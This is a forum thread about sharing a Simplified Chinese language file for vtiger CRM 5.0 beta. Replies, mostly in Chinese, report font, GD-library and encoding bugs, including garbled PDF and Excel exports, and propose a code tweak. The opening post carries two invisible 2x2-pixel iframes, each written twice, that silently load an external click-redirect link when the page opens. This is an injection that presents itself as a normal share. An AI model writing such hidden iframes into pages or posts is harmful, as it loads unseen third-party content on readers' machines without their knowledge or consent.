Simple_chinese lang for V5 Beta

Simple_chinese lang for V5 Beta
Share!!!
But my speciality knowledge in CRM is not good.
If there are some bug or error,please type here .
Let us solve it together! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 6 Comments sorted by Votes Date Added
  • 翻译vtiger 5.0时,遇到4个与字体相关的严重功能问题, <!-- s:!: --><img src="{smilies_path}/icon_exclaim.gif" alt=":!:" title="exclamation" /><!-- s:!: -->


    提醒大家慎用,,,,,,,并恳请各位高人指教具体的解决方法.


    感觉vtiger5.0的设计,忽略了非字母文字的国际化..


    我翻译时使用的环境如下:
    os:windows 2003 server(chinese or japanese or korea)
    +ap+mysql+php

    翻译前的步骤:
    step 1)vtiger v5 for windows setup

    step 2)
    add vtigercrm\include\language\cn_zh.lang.php or ja.lang.php.....
    .
    .
    .
    step 3)
    add vtigercrm\modules\dashboard\language\cn_zh.lang.php or ja.lang.php.....
    .
    .
    .
    step 4)
    config.inc.php setting
    $languages = array('cn_zh'=>'chinese','ja'=>'japanese'','en_us'=>'us english',);
    $default_charset = 'utf-8';
    $default_language = 'cn_zh';


    step 5)
    portal:
    select chinese or japanese
    login


    完成以上步骤后,对各模块进行翻译测试,发现v5版的严重问题. <!-- s:!: --><img src="{smilies_path}/icon_exclaim.gif" alt=":!:" title="exclamation" /><!-- s:!: -->

    以下4个重要模块,无法在"非字母文字"(中文,日文,韩文...)os下 正常工作.


    *******err***
    1)dashboard modules, ===>err imagettfbbox() [function.imagettfbbox]: could not find/open font in .....

    2)chat room modules, ===>no view (utf-8下,画面残缺,且无法显示非字母文字)

    3)custom fields modules, ===>edit(chinese or japanese) (无法输入非字母文字)

    4)picklist editor modules settings, ===>view: font code only (无法显示非字母文字)

    **********
  • 你们汉化后有没有出现导出excel和pdf报表乱码问题????
  • about dashboard:
    edit image/canvas/gd.php
    在 function addtext($param)中添加:
    $text=iconv("utf-8","gb18030",$text);
    转码后,原来出现的any2eucjp这个错没有了,但是汉字是乱码。
    我检查过转换后传递给imagestring的的确是gb18030编码。
    但是不知到imagestring收到该字符串后做了什么操作把它变成乱码了。
    如果换成utf-8编码并使用arialunicode字体根本不行,会报出一大堆any2eucjp的错,好像是系统自动把编码转成日文了。
    有谁对gd库比较了解的帮助解释一下啊。。。
  • vtiger crm生成的pdf报表出现乱码,因该如何处理才能改善,烦请哪位大侠帮帮忙,提供处理方式。谢谢 <!-- s:oops: --><img src="{smilies_path}/icon_redface.gif" alt=":oops:" title="embarassed" /><!-- s:oops: -->
  • thanks for share ,i need it
Sign In or Register to comment.